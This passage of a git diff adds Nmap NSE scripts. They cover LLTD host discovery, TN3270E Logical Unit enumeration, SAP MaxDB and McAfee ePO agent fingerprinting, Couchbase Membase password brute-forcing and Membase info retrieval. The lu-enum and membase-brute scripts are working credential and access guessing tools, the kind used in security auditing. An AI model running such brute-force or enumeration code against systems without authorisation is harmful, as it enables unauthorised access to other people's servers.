+For more information on the LLTD protocol please refer to
+http://www.microsoft.com/whdc/connect/Rally/LLTD-spec.mspx
+]]
+
+---
+-- @usage
+-- nmap -e <interface> --script lltd-discovery
+--
+-- @args lltd-discovery.interface string specifying which interface to do lltd discovery on. If not specified, all ethernet interfaces are tried.
+-- @args lltd-discovery.timeout timespec specifying how long to listen for replies (default 30s)
+--
+-- @output
+-- | lltd-discovery:
+-- | 192.168.1.64
+-- | Hostname: acer-PC
+-- | Mac: 18:f4:6a:4f:de:a2 (Hon Hai Precision Ind. Co.)
+-- | IPv6: fe80:0000:0000:0000:0000:0000:c0a8:0134
+-- | 192.168.1.33
+-- | Hostname: winxp-2b2955502
+-- | Mac: 08:00:27:79:fd:d2 (Cadmus Computer Systems)
+-- | 192.168.1.22
+-- | Hostname: core
+-- | Mac: 08:00:27:57:30:7f (Cadmus Computer Systems)
+-- |_ Use the newtargets script-arg to add the results as targets
+--
+
+author = {"Gorjan Petrovski", "Hani Benhabiles"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"broadcast","discovery","safe"}
+
+
+prerule = function()
+ if not nmap.is_privileged() then
+ nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
+ if not nmap.registry[SCRIPT_NAME].rootfail then
+ stdnse.verbose1("not running for lack of privileges.")
+ end
+ nmap.registry[SCRIPT_NAME].rootfail = true
+ return nil
+ end
+
+ if nmap.address_family() ~= 'inet' then
+ stdnse.debug1("is IPv4 compatible only.")
+ return false
+ end
+
+ return true
+end
+
+--- Converts a 6 byte string into the familiar MAC address formatting
+-- @param mac string containing the MAC address
+-- @return formatted string suitable for printing
+local function get_mac_addr( mac )
+ local catch = function() return end
+ local try = nmap.new_try(catch)
+ local mac_prefixes = try(datafiles.parse_mac_prefixes())
+
+ if mac:len() ~= 6 then
+ return "Unknown"
+ else
+ local prefix = string.upper(string.format("%02x%02x%02x", mac:byte(1), mac:byte(2), mac:byte(3)))
+ local manuf = mac_prefixes[prefix] or "Unknown"
+ return string.format("%s (%s)", stdnse.format_mac(mac:sub(1,6)), manuf )
+ end
+end
+
+--- Gets a raw ethernet buffer with LLTD information and returns the responding host's IP and MAC
+local parseHello = function(data)
+ -- HelloMsg = [
+ -- ethernet_hdr = [mac_dst(6), mac_src(6), protocol(2)],
+ -- lltd_demultiplex_hdr = [version(1), type_of_service(1), reserved(1), function(1)],
+ -- base_hdr = [mac_dst(6), mac_src(6), seq_no(2)],
+ -- up_hello_hdr = [ generation_number(2), current_mapper_address(6), apparent_mapper_address(6), tlv_list(var) ]
+ --]
+
+ --HelloStruct = {
+ -- mac_src,
+ -- sequence_number,
+ -- generation_number,
+ -- tlv_list(dict)
+ --}
+ local types = {"Host ID", "Characteristics", "Physical Medium", "Wireless Mode", "802.11 BSSID",
+ "802.11 SSID", "IPv4 Address", "IPv6 Address", "802.11 Max Operational Rate",
+ "Performance Counter Frequency", nil, "Link Speed", "802.11 RSSI", "Icon Image", "Machine Name",
+ "Support Information", "Friendly Name", "Device UUID", "Hardware ID", "QoS Characteristics",
+ "802.11 Physical Medium", "AP Association Table", "Detailed Icon Image", "Sees-List Working Set",
+ "Component Table", "Repeater AP Lineage", "Repeater AP Table"}
+ local mac = nil
+ local ipv4 = nil
+ local ipv6 = nil
+ local hostname = nil
+
+ local pos = 1
+ pos = pos + 6
+ local mac_src = data:sub(pos,pos+5)
+
+ pos = pos + 24
+ local seq_no = data:sub(pos,pos+1)
+
+ pos = pos + 2
+ local generation_no = data:sub(pos,pos+1)
+
+ pos = pos + 14
+ local tlv = data:sub(pos)
+
+ local tlv_list = {}
+ local p = 1
+ while p < #tlv do
+ local t = tlv:byte(p)
+ if t == 0x00 then
+ break
+ else
+ p = p + 1
+ local l = tlv:byte(p)
+
+ p = p + 1
+ local v = tlv:sub(p,p+l-1)
+
+ if t == 0x01 then
+ -- Host ID (MAC Address)
+ mac = get_mac_addr(v:sub(1,6))
+ elseif t == 0x08 then
+ ipv6 = ipOps.str_to_ip(v:sub(1,16))
+ elseif t == 0x07 then
+ -- IPv4 address
+ ipv4 = ipOps.str_to_ip(v:sub(1,4))
+
+ -- Machine Name (Hostname)
+ elseif t == 0x0f then
+ hostname = unicode.utf16to8(v)
+ end
+
+ p = p + l
+
+ if ipv4 and ipv6 and mac and hostname then
+ break
+ end
+ end
+ end
+
+ return ipv4, mac, ipv6, hostname
+end
+
+--- Creates an LLTD Quick Discovery packet with the source MAC address
+-- @param mac_src - six byte long binary string
+local QuickDiscoveryPacket = function(mac_src)
+ local ethernet_hdr, demultiplex_hdr, base_hdr, discover_up_lev_hdr
+
+ -- set up ethernet header = [ mac_dst, mac_src, protocol ]
+ local mac_dst = "\xFF\xFF\xFF\xFF\xFF\xFF" -- broadcast
+ local protocol = "\x88\xd9" -- LLTD ethertype
+
+ ethernet_hdr = mac_dst .. mac_src .. protocol
+
+ -- set up LLTD demultiplex header = [ version, type_of_service, reserved, function ]
+ local lltd_version = 1 -- Fixed Value
+ local lltd_type_of_service = 1 -- Type Of Service = Quick Discovery(0x01)
+ local lltd_reserved = 0 -- Fixed value
+ local lltd_function = 0 -- Function = QuickDiscovery->Discover (0x00)
+
+ demultiplex_hdr = string.pack("BBBB", lltd_version, lltd_type_of_service, lltd_reserved, lltd_function )
+
+ -- set up LLTD base header = [ mac_dst, mac_src, seq_num(xid) ]
+ local lltd_seq_num = rand.random_string(2)
+
+ base_hdr = mac_dst .. mac_src .. lltd_seq_num
+
+ -- set up LLTD Upper Level Header = [ generation_number, number_of_stations, station_list ]
+ local generation_number = rand.random_string(2)
+ local number_of_stations = 0
+ local station_list = string.rep("\0", 6*4)
+
+ discover_up_lev_hdr = generation_number .. string.pack(">I2", number_of_stations) .. station_list
+
+ -- put them all together and return
+ return ethernet_hdr .. demultiplex_hdr .. base_hdr .. discover_up_lev_hdr
+end
+
+--- Runs a thread which discovers LLTD Responders on a certain interface
+local LLTDDiscover = function(if_table, lltd_responders, timeout)
+ local timeout_s = 3
+ local condvar = nmap.condvar(lltd_responders)
+ local pcap = nmap.new_socket()
+ pcap:set_timeout(5000)
+
+ local dnet = nmap.new_dnet()
+ local try = nmap.new_try(function() dnet:ethernet_close() pcap:close() end)
+
+ pcap:pcap_open(if_table.device, 256, false, "")
+ try(dnet:ethernet_open(if_table.device))
+
+ local packet = QuickDiscoveryPacket(if_table.mac)
+ try( dnet:ethernet_send(packet) )
+ stdnse.sleep(0.5)
+ try( dnet:ethernet_send(packet) )
+
+ local start = os.time()
+ local start_s = os.time()
+ while true do
+ local status, plen, l2, l3, _ = pcap:pcap_receive()
+ if status then
+ local packet = l2..l3
+ if stdnse.tohex(packet:sub(13,14)) == "88d9" then
+ start_s = os.time()
+
+ local ipv4, mac, ipv6, hostname = parseHello(packet)
+
+ if ipv4 then
+ if not lltd_responders[ipv4] then
+ lltd_responders[ipv4] = {}
+ lltd_responders[ipv4].hostname = hostname
+ lltd_responders[ipv4].mac = mac
+ lltd_responders[ipv4].ipv6 = ipv6
+ end
+ end
+ else
+ if os.time() - start_s > timeout_s then
+ break
+ end
+ end
+ else
+ break
+ end
+
+ if os.time() - start > timeout then
+ break
+ end
+ end
+ dnet:ethernet_close()
+ pcap:close()
+ condvar("signal")
+end
+
+
+action = function()
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
+ timeout = timeout or 30
+
+ --get interface script-args, if any
+ local interface_arg = stdnse.get_script_args(SCRIPT_NAME .. ".interface")
+ local interface_opt = nmap.get_interface()
+
+ -- interfaces list (decide which interfaces to broadcast on)
+ local interfaces ={}
+ if interface_opt or interface_arg then
+ -- single interface defined
+ local interface = interface_opt or interface_arg
+ local if_table = nmap.get_interface_info(interface)
+ if not (if_table and if_table.address and if_table.link=="ethernet") then
+ stdnse.debug1("Interface not supported or not properly configured.")
+ return false
+ end
+ table.insert(interfaces, if_table)
+ else
+ local tmp_ifaces = nmap.list_interfaces()
+ for _, if_table in ipairs(tmp_ifaces) do
+ if if_table.address and
+ if_table.link=="ethernet" and
+ if_table.address:match("%d+%.%d+%.%d+%.%d+") then
+
+ table.insert(interfaces, if_table)
+ end
+ end
+ end
+
+ if #interfaces == 0 then
+ stdnse.debug1("No interfaces found.")
+ return
+ end
+
+ local lltd_responders={}
+ local threads ={}
+ local condvar = nmap.condvar(lltd_responders)
+
+ -- party time
+ for _, if_table in ipairs(interfaces) do
+ -- create a thread for each interface
+ local co = stdnse.new_thread(LLTDDiscover, if_table, lltd_responders, timeout)
+ threads[co]=true
+ end
+
+ repeat
+ for thread in pairs(threads) do
+ if coroutine.status(thread) == "dead" then threads[thread] = nil end
+ end
+ if ( next(threads) ) then
+ condvar "wait"
+ end
+ until next(threads) == nil
+
+ -- generate output
+ local output = {}
+ for ip_addr, info in pairs(lltd_responders) do
+ if target.ALLOW_NEW_TARGETS then target.add(ip_addr) end
+
+ local s = {}
+ s.name = ip_addr
+ if info.hostname then
+ table.insert(s, "Hostname: " .. info.hostname)
+ end
+ if info.mac then
+ table.insert(s, "Mac: " .. info.mac)
+ end
+ if info.ipv6 then
+ table.insert(s, "IPv6: " .. info.ipv6)
+ end
+ table.insert(output,s)
+ end
+
+ if #output>0 and not target.ALLOW_NEW_TARGETS then
+ table.insert(output,"Use the newtargets script-arg to add the results as targets")
+ end
+ return stdnse.format_output( (#output>0), output )
+end
diff --git a/scripts/lu-enum.nse b/scripts/lu-enum.nse
new file mode 100644
index 0000000..965f394
--- /dev/null
+++ b/scripts/lu-enum.nse
@@ -0,0 +1,216 @@
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+local tn3270 = require "tn3270"
+local brute = require "brute"
+local creds = require "creds"
+local unpwdb = require "unpwdb"
+local io = require "io"
+local nmap = require "nmap"
+local string = require "string"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Attempts to enumerate Logical Units (LU) of TN3270E servers.
+
+When connecting to a TN3270E server you are assigned a Logical Unit (LU) or you can tell
+the TN3270E server which LU you'd like to use. Typically TN3270E servers are configured to
+give you an LU from a pool of LUs. They can also have LUs set to take you to a specific
+application. This script attempts to guess valid LUs that bypass the default LUs you are
+assigned. For example, if a TN3270E server sends you straight to TPX you could use this
+script to find LUs that take you to TSO, CICS, etc.
+]]
+
+---
+--@args lulist Path to list of Logical Units to test.
+-- Defaults the initial Logical Unit TN3270E provides, replacing the
+-- last two characters with <code>00-99</code>.
+--@args lu-enum.path Folder used to store valid logical unit 'screenshots'
+-- Defaults to <code>None</code> and doesn't store anything. This stores
+-- all valid logical units.
+--@usage
+-- nmap --script lu-enum -p 23 <targets>
+--
+--@usage
+-- nmap --script lu-enum --script-args lulist=lus.txt,
+-- lu-enum.path="/home/dade/screenshots/" -p 23 -sV <targets>
+--
+--@output
+-- PORT STATE SERVICE REASON VERSION
+-- 23/tcp open tn3270 syn-ack IBM Telnet TN3270 (TN3270E)
+-- | lu-enum:
+-- | Logical Units:
+-- | LU:BSLVLU69 - Valid credentials
+-- |_ Statistics: Performed 7 guesses in 7 seconds, average tps: 1.0
+--
+-- @changelog
+-- 2019-02-04 - v0.1 - created by Soldier of Fortran
+
+author = "Philip Young aka Soldier of Fortran"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+portrule = shortport.port_or_service({23,992}, "tn3270")
+
+--- Saves the TN3270E terminal screen to disk
+--
+-- @param filename string containing the name and full path to the file
+-- @param data contains the data
+-- @return status true on success, false on failure
+-- @return err string containing error message if status is false
+local function save_screens( filename, data )
+ local f = io.open( filename, "w")
+ if not f then return false, ("Failed to open file (%s)"):format(filename) end
+ if not(f:write(data)) then return false, ("Failed to write file (%s)"):format(filename) end
+ f:close()
+ return true
+end
+
+--- Compares two screens and returns the difference as a percentage
+--
+-- @param1 the original screen
+-- @param2 the screen to compare to
+local function screen_diff( orig_screen, current_screen )
+ if orig_screen == current_screen then return 100 end
+ if #orig_screen == 0 or #current_screen == 0 then return 0 end
+ local m = 1
+ for i = 1 , #orig_screen do
+ if orig_screen:byte(i) == current_screen:byte(i) then
+ m = m + 1
+ end
+ end
+ return (m/1920)*100
+end
+
+Driver = {
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = host
+ o.port = port
+ o.options = options
+ o.tn3270 = tn3270.Telnet:new()
+ return o
+ end,
+ connect = function( self )
+ return true
+ end,
+ disconnect = function( self )
+ self.tn3270:disconnect()
+ self.tn3270 = nil
+ end,
+ login = function (self, user, pass) -- pass is actually the username we want to try
+ local path = self.options['path']
+ local original = self.options['no_lu']
+ local threshold = 90
+ stdnse.verbose(2,"Trying Logical Unit: %s", pass)
+ self.tn3270:set_lu(pass)
+ local status, err = self.tn3270:initiate(self.host,self.port)
+ if not status then
+ stdnse.debug(2,"Could not initiate TN3270: %s", err )
+ stdnse.verbose(2, "Invalid LU: %s",string.upper(pass))
+ return false, brute.Error:new( "Invalid Logical Unit" )
+ end
+ self.tn3270:get_all_data()
+ self.tn3270:get_screen_debug(2)
+ if path ~= nil then
+ stdnse.verbose(2,"Writting screen to: %s", path..string.upper(pass)..".txt")
+ local status, err = save_screens(path..string.upper(pass)..".txt",self.tn3270:get_screen())
+ if not status then
+ stdnse.verbose(2,"Failed writting screen to: %s", path..string.upper(pass)..".txt")
+ end
+ end
+
+ stdnse.debug(3, "compare results: %s ", tostring(screen_diff(original, self.tn3270:get_screen_raw())))
+ if screen_diff(original, self.tn3270:get_screen_raw()) > threshold then
+ stdnse.verbose(2,'Same Screen for LU: %s',string.upper(pass))
+ return false, brute.Error:new( "Invalid Logical Unit" )
+ else
+ stdnse.verbose(2,"Valid Logical Unit: %s",string.upper(pass))
+ return true, creds.Account:new("LU", string.upper(pass), creds.State.VALID)
+ end
+ end
+}
+
+--- Tests the target to see if we can connect with TN3270E
+--
+-- @param host host NSE object
+-- @param port port NSE object
+-- @return status true on success, false on failure
+local function lu_test( host, port )
+ local tn = tn3270.Telnet:new()
+ local status, err = tn:initiate(host,port)
+
+ if not status then
+ stdnse.debug(1,"[lu_test] Could not initiate TN3270: %s", err )
+ return false
+ end
+
+ stdnse.debug(2,"[lu_test] Displaying initial TN3270 Screen:")
+ tn:get_screen_debug(2) -- prints TN3270 screen to debug
+ if tn.state == tn.TN3270E_DATA then -- Could make a function in the library 'istn3270e'
+ stdnse.debug(1,"[lu_test] Orig screen: %s", tn:get_screen_raw())
+ return true, tn:get_lu(), tn:get_screen_raw()
+ else
+ return false, 'Not in TN3270E Mode. LU not supported.', ''
+ end
+
+end
+
+-- Checks if it's a valid Logical Unit name
+local valid_lu = function(x)
+ return (string.len(x) <= 8 and string.match(x,"[%w@#%$]"))
+end
+
+-- iterator function
+function iter(t)
+ local i, val
+ return function()
+ i, val = next(t, i)
+ return val
+ end
+end
+
+action = function(host, port)
+ local lu_id_file = stdnse.get_script_args("lulist")
+ local path = stdnse.get_script_args(SCRIPT_NAME .. '.path') -- Folder for screen grabs
+ local logical_units = {}
+ lu_id_file = ((lu_id_file and nmap.fetchfile(lu_id_file)) or lu_id_file)
+
+ local status, lu, orig_screen = lu_test( host, port )
+ if status then
+
+
+ if not lu_id_file then
+ -- we have to do this here because we don't have an LU to use for the template until now
+ stdnse.debug(3, "No LU list provided, auto generating a list using template: %s##", lu:sub(1, (#lu-2)))
+ for i=1,99 do
+ table.insert(logical_units, lu:sub(1, (#lu-2)) .. string.format("%02d", i))
+ end
+ else
+ for l in io.lines(lu_id_file) do
+ local cleaned_line = string.gsub(l,"[\r\n]","")
+ if not cleaned_line:match("#!comment:") then
+ table.insert(logical_units, cleaned_line)
+ end
+ end
+ end
+
+
+ -- Make sure we pass the original screen we got to the brute
+ local options = { no_lu = orig_screen, path = path }
+ if path ~= nil then stdnse.verbose(2,"Saving Screenshots to: %s", path) end
+ local engine = brute.Engine:new(Driver, host, port, options)
+ engine.options.script_name = SCRIPT_NAME
+ engine:setPasswordIterator(unpwdb.filter_iterator(iter(logical_units), valid_lu))
+ engine.options.passonly = true
+ engine.options:setTitle("Logical Units")
+ local status, result = engine:start()
+ return result
+ else
+ stdnse.debug(1,"Not in TN3270E mode, LU not supported.")
+ return lu
+ end
+
+end
diff --git a/scripts/maxdb-info.nse b/scripts/maxdb-info.nse
new file mode 100644
index 0000000..50d375a
--- /dev/null
+++ b/scripts/maxdb-info.nse
@@ -0,0 +1,179 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+local tab = require "tab"
+local table = require "table"
+
+description = [[
+Retrieves version and database information from a SAP Max DB database.
+]]
+
+---
+-- @usage
+-- nmap -p 7210 --script maxdb-info <ip>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 7210/tcp open maxdb syn-ack
+-- | maxdb-info:
+-- | Version: 7.8.02
+-- | Build: DBMServer 7.8.02 Build 021-121-242-175
+-- | OS: UNIX
+-- | Instroot: /opt/sdb/MaxDB
+-- | Sysname: Linux 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:56:25 UTC 2011
+-- | Databases
+-- | instance path version kernel state
+-- | MAXDB /opt/sdb/MaxDB 7.8.02.21 fast running
+-- | MAXDB /opt/sdb/MaxDB 7.8.02.21 quick offline
+-- | MAXDB /opt/sdb/MaxDB 7.8.02.21 slow offline
+-- |_ MAXDB /opt/sdb/MaxDB 7.8.02.21 test offline
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = { "default", "version", "safe" }
+
+
+portrule = shortport.version_port_or_service(7210, "maxdb", "tcp")
+
+-- Sends and receive a MaxDB packet
+-- @param socket already connected to the server
+-- @param packet string containing the data to send
+-- @return status true on success, false on failure
+-- @return data string containing the raw response from the server
+local function exchPacket(socket, packet)
+ local status, err = socket:send(packet)
+ if ( not(status) ) then
+ stdnse.debug2("Failed to send packet to server")
+ return false, "Failed to send packet to server"
+ end
+
+ local data
+ status, data= socket:receive()
+ if ( not(status) ) then
+ stdnse.debug2("Failed to read packet from server")
+ return false, "Failed to read packet from server"
+ end
+ local len = string.unpack("<I2", data)
+
+ -- make sure we've got it all
+ if ( len ~= #data ) then
+ local tmp
+ status, tmp = socket:receive_bytes(len - #data)
+ if ( not(status) ) then
+ stdnse.debug2("Failed to read packet from server")
+ return false, "Failed to read packet from server"
+ end
+ data = data .. tmp
+ end
+ return true, data
+end
+
+-- Sends and receives a MaxDB command and does some very basic checks of the
+-- response.
+-- @param socket already connected to the server
+-- @param packet string containing the data to send
+-- @return status true on success, false on failure
+-- @return data string containing the raw response from the server
+local function exchCommand(socket, packet)
+ local status, data = exchPacket(socket, packet)
+ if( status ) then
+ if ( #data < 26 ) then
+ return false, "Response to short"
+ end
+ if ( "OK" ~= data:sub(25, 26) ) then
+ return false, "Incorrect response from server (no OK found)"
+ end
+ end
+ return status, data
+end
+
+-- Parses and decodes the raw version response from the server
+-- @param data string containing the raw response
+-- @return version_info table containing a number of dynamic fields based on
+-- the response from the server. The fields typically include:
+-- <code>VERSION</code>, <code>BUILD</code>, <code>OS</code>,
+-- <code>INSTROOT</code>,<code>LOGON</code>, <code>CODE</code>,
+-- <code>SWAP</code>, <code>UNICODE</code>, <code>INSTANCE</code>,
+-- <code>SYSNAME</code>, <code>MASKING</code>,
+-- <code>REPLYTREATMENT</code> and <code>SDBDBM_IPCLOCATION</code>
+local function parseVersion(data)
+ local version_info = {}
+ if ( #data > 27 ) then
+ for _, line in ipairs(stringaux.strsplit("\n", data:sub(28))) do
+ local key, val = line:match("^(%S+)%s-=%s(.*)%s*$")
+ if ( key ) then version_info[key] = val end
+ end
+ end
+ return version_info
+end
+
+-- Parses and decodes the raw database response from the server
+-- @param data string containing the raw response
+-- @return result string containing a table of database instance information
+local function parseDatabases(data)
+ local result = tab.new(5)
+ tab.addrow(result, "instance", "path", "version", "kernel", "state")
+ for _, line in ipairs(stringaux.strsplit("\n", data:sub(28))) do
+ local cols = {}
+ cols.instance, cols.path, cols.ver, cols.kernel,
+ cols.state = line:match("^(.-)%s*\t(.-)%s*\t(.-)%s*\t(.-)%s-\t(.-)%s-$")
+ if ( cols.instance ) then
+ tab.addrow(result, cols.instance, cols.path, cols.ver, cols.kernel, cols.state)
+ end
+ end
+ return tab.dump(result)
+end
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ -- this could really be more elegant, but it has to do for now
+ local handshake = "5a000000035b000001000000ffffffff000004005a000000000242000409000000400000d03f00000040000070000000000500000004000000020000000300000749343231360004501c2a035201037201097064626d73727600"
+ local dbm_version = "28000000033f000001000000ac130000000004002800000064626d5f76657273696f6e2020202020"
+ local db_enum = "20000000033f000001000000ac130000000004002000000064625f656e756d20"
+
+ local socket = nmap.new_socket()
+ socket:set_timeout(10000)
+ local status, err = socket:connect(host, port)
+ local data
+
+ status, data = exchPacket(socket, stdnse.fromhex( handshake))
+ if ( not(status) ) then
+ return fail("Failed to perform handshake with MaxDB server")
+ end
+
+ status, data = exchPacket(socket, stdnse.fromhex( dbm_version))
+ if ( not(status) ) then
+ return fail("Failed to request version information from server")
+ end
+
+ local version_info = parseVersion(data)
+ if ( not(version_info) ) then
+ return fail("Failed to parse version information from server")
+ end
+
+ local result, filter = {}, {"Version", "Build", "OS", "Instroot", "Sysname"}
+ for _, f in ipairs(filter) do
+ table.insert(result, ("%s: %s"):format(f, version_info[f:upper()]))
+ end
+
+ status, data = exchCommand(socket, stdnse.fromhex( db_enum))
+ socket:close()
+ if ( not(status) ) then
+ return fail("Failed to request version information from server")
+ end
+ local dbs = parseDatabases(data)
+ table.insert(result, { name = "Databases", dbs } )
+
+ -- set the version information
+ port.version.name = "maxdb"
+ port.version.product = "SAP MaxDB"
+ port.version.version = version_info.VERSION
+ port.version.ostype = version_info.SYSNAME
+ nmap.set_port_version(host, port)
+
+ return stdnse.format_output(true, result)
+end
diff --git a/scripts/mcafee-epo-agent.nse b/scripts/mcafee-epo-agent.nse
new file mode 100644
index 0000000..c7323ca
--- /dev/null
+++ b/scripts/mcafee-epo-agent.nse
@@ -0,0 +1,77 @@
+-- mcafee-epo-agent.nse V0.0.2, checks if ePO agent is running
+-- Developed by Didier Stevens and Daniel Miller
+-- Use at your own risk
+--
+-- History:
+-- 2012/05/31: Start
+-- 2012/06/01: extracting data from XML; tested with ePO 4.5 and 4.6
+-- 2012/06/05: V0.0.2 conversion to version script by Daniel Miller
+-- 2012/06/20: new portrule by Daniel Miller
+
+description = [[
+Check if ePO agent is running on port 8081 or port identified as ePO Agent port.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 8081/tcp open http McAfee ePolicy Orchestrator Agent 4.5.0.1852 (ePOServerName: EPOSERVER, AgentGuid: D2E157F4-B917-4D31-BEF0-32074BADF081)
+-- Service Info: Host: TESTSERVER
+
+author = {"Didier Stevens", "Daniel Miller"}
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"version", "safe"}
+
+local http = require "http"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+
+portrule = function(host, port)
+ if port.version ~= nil and port.version.product ~= nil then
+ return ((port.version.product:find("[eE][pP]olicy Orch")
+ or port.version.product:find("[eE]PO [aA]gent"))
+ and nmap.version_intensity() >= 7)
+ else
+ return ((port.number == 8081 and port.protocol == "tcp")
+ and nmap.version_intensity() >= 7)
+ end
+end
+
+function ExtractXMLElement(xmlContent, elementName)
+ return xmlContent:match("<" .. elementName .. ">([^<]*)</" .. elementName .. ">")
+end
+
+action = function(host, port)
+ local options, data, epoServerName, agentGUID
+
+ -- Change User-Agent string to MSIE so that the ePO agent will reply with XML
+ options = {header={}}
+ options['header']['User-Agent'] = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; mcafee-epo-agent)"
+ data = http.get(host, port, '/', options)
+
+ if data.body then
+ stdnse.debug2("data.body:sub = %s", data.body:sub(1, 80))
+
+ if data.body:match('^<%?xml .*%?>%s*<naLog>') then
+ port.version.hostname = ExtractXMLElement(data.body, "ComputerName")
+ epoServerName = ExtractXMLElement(data.body, "ePOServerName") or ""
+ port.version.version = ExtractXMLElement(data.body, "version") or ""
+ agentGUID = ExtractXMLElement(data.body, "AgentGUID") or ""
+
+ port.version.name = 'http'
+ port.version.product = 'McAfee ePolicy Orchestrator Agent'
+ port.version.extrainfo = string.format('ePOServerName: %s, AgentGuid: %s', epoServerName, agentGUID)
+ nmap.set_port_version(host, port)
+ return nil
+ end
+ end
+
+ if nmap.verbosity() > 1 then
+ return "ePO Agent not found"
+ else
+ return nil
+ end
+end
diff --git a/scripts/membase-brute.nse b/scripts/membase-brute.nse
new file mode 100644
index 0000000..462a7f8
--- /dev/null
+++ b/scripts/membase-brute.nse
@@ -0,0 +1,113 @@
+local brute = require "brute"
+local creds = require "creds"
+local membase = require "membase"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Performs brute force password auditing against Couchbase Membase servers.
+]]
+
+---
+-- @usage
+-- nmap -p 11211 --script membase-brute
+--
+-- @output
+-- PORT STATE SERVICE
+-- 11211/tcp open unknown
+-- | membase-brute:
+-- | Accounts
+-- | buckettest:toledo - Valid credentials
+-- | Statistics
+-- |_ Performed 5000 guesses in 2 seconds, average tps: 2500
+--
+-- @args membase-brute.bucketname if specified, password guessing is performed
+-- only against this bucket.
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.port_or_service({11210,11211}, "couchbase-tap", "tcp")
+
+local arg_bucketname = stdnse.get_script_args(SCRIPT_NAME..".bucketname")
+
+
+Driver = {
+
+ new = function(self, host, port, options)
+ local o = { host = host, port = port, options = options }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function(self)
+ self.helper = membase.Helper:new(self.host, self.port)
+ return self.helper:connect(brute.new_socket())
+ end,
+
+ login = function(self, username, password)
+ local status, response = self.helper:login(arg_bucketname or username, password)
+ if ( not(status) and "Auth failure" == response ) then
+ return false, brute.Error:new( "Incorrect password" )
+ elseif ( not(status) ) then
+ local err = brute.Error:new( response )
+ err:setRetry( true )
+ return false, err
+ end
+ return true, creds.Account:new( arg_bucketname or username, password, creds.State.VALID)
+ end,
+
+ disconnect = function(self)
+ return self.helper:close()
+ end
+
+}
+
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+local function getMechs(host, port)
+ local helper = membase.Helper:new(host, port)
+ local status, err = helper:connect()
+ if ( not(status) ) then
+ return false, "Failed to connect to server"
+ end
+
+ local status, response = helper:getSASLMechList()
+ if ( not(status) ) then
+ stdnse.debug2("Received unexpected response: %s", response)
+ return false, "Received unexpected response"
+ end
+
+ helper:close()
+ return true, response.mechs
+end
+
+action = function(host, port)
+
+ local status, mechs = getMechs(host, port)
+
+ if ( not(status) ) then
+ return fail(mechs)
+ end
+ if ( not(mechs:match("PLAIN") ) ) then
+ return fail("Unsupported SASL mechanism")
+ end
+
+ local result
+ local engine = brute.Engine:new(Driver, host, port )
+
+ engine.options.script_name = SCRIPT_NAME
+ engine.options.firstonly = true
+
+ if ( arg_bucketname ) then
+ engine.options:setOption( "passonly", true )
+ end
+
+ status, result = engine:start()
+ return result
+end
diff --git a/scripts/membase-http-info.nse b/scripts/membase-http-info.nse
new file mode 100644
index 0000000..107acab
--- /dev/null
+++ b/scripts/membase-http-info.nse
@@ -0,0 +1,151 @@
+local _G = require "_G"
+local http = require "http"
+local json = require "json"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local tab = require "tab"
+
+description = [[
+Retrieves information (hostname, OS, uptime, etc.) from the CouchBase
+Web Administration port. The information retrieved by this script
+does not require any credentials.
+]]
+
+---
+-- @usage
+-- nmap -p 8091 <ip> --script membase-http-info
+--
+-- @output
+-- PORT STATE SERVICE
+-- 8091/tcp open unknown
+-- | membase-http-info:
+-- | Hostname 192.168.0.5:8091
+-- | OS x86_64-unknown-linux-gnu
+-- | Version 1.7.2r-20-g6604356
+-- | Kernel version 2.14.4
+-- | Mnesia version 4.4.19
+-- | Stdlib version 1.17.4
+-- | OS mon version 2.2.6
+-- | NS server version 1.7.2r-20-g6604356
+-- | SASL version 2.1.9.4
+-- | Status healthy
+-- | Uptime 21465
+-- | Total memory 522022912
+-- | Free memory 41779200
+-- |_ Server list 192.168.0.5:11210
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.port_or_service(8091, "http", "tcp")
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+local filter = {
+ ["parsed[1]['nodes'][1]['os']"] = { name = "OS" },
+ ["parsed[1]['nodes'][1]['version']"] = { name = "Version" },
+ ["parsed[1]['nodes'][1]['hostname']"] = { name = "Hostname" },
+ ["parsed[1]['nodes'][1]['status']"] = { name = "Status" },
+ ["parsed[1]['nodes'][1]['uptime']"] = { name = "Uptime" },
+ ["parsed[1]['nodes'][1]['memoryTotal']"] = { name = "Total memory" },
+ ["parsed[1]['nodes'][1]['memoryFree']"] = { name = "Free memory" },
+ ["parsed[1]['vBucketServerMap']['serverList']"] = { name = "Server list" },
+ ["parsed['componentsVersion']['kernel']"] = { name = "Kernel version" },
+ ["parsed['componentsVersion']['mnesia']"] = { name = "Mnesia version" },
+ ["parsed['componentsVersion']['stdlib']"] = { name = "Stdlib version" },
+ ["parsed['componentsVersion']['os_mon']"] = { name = "OS mon version" },
+ ["parsed['componentsVersion']['ns_server']"] = { name = "NS server version" },
+ ["parsed['componentsVersion']['sasl']"] = { name = "SASL version" },
+}
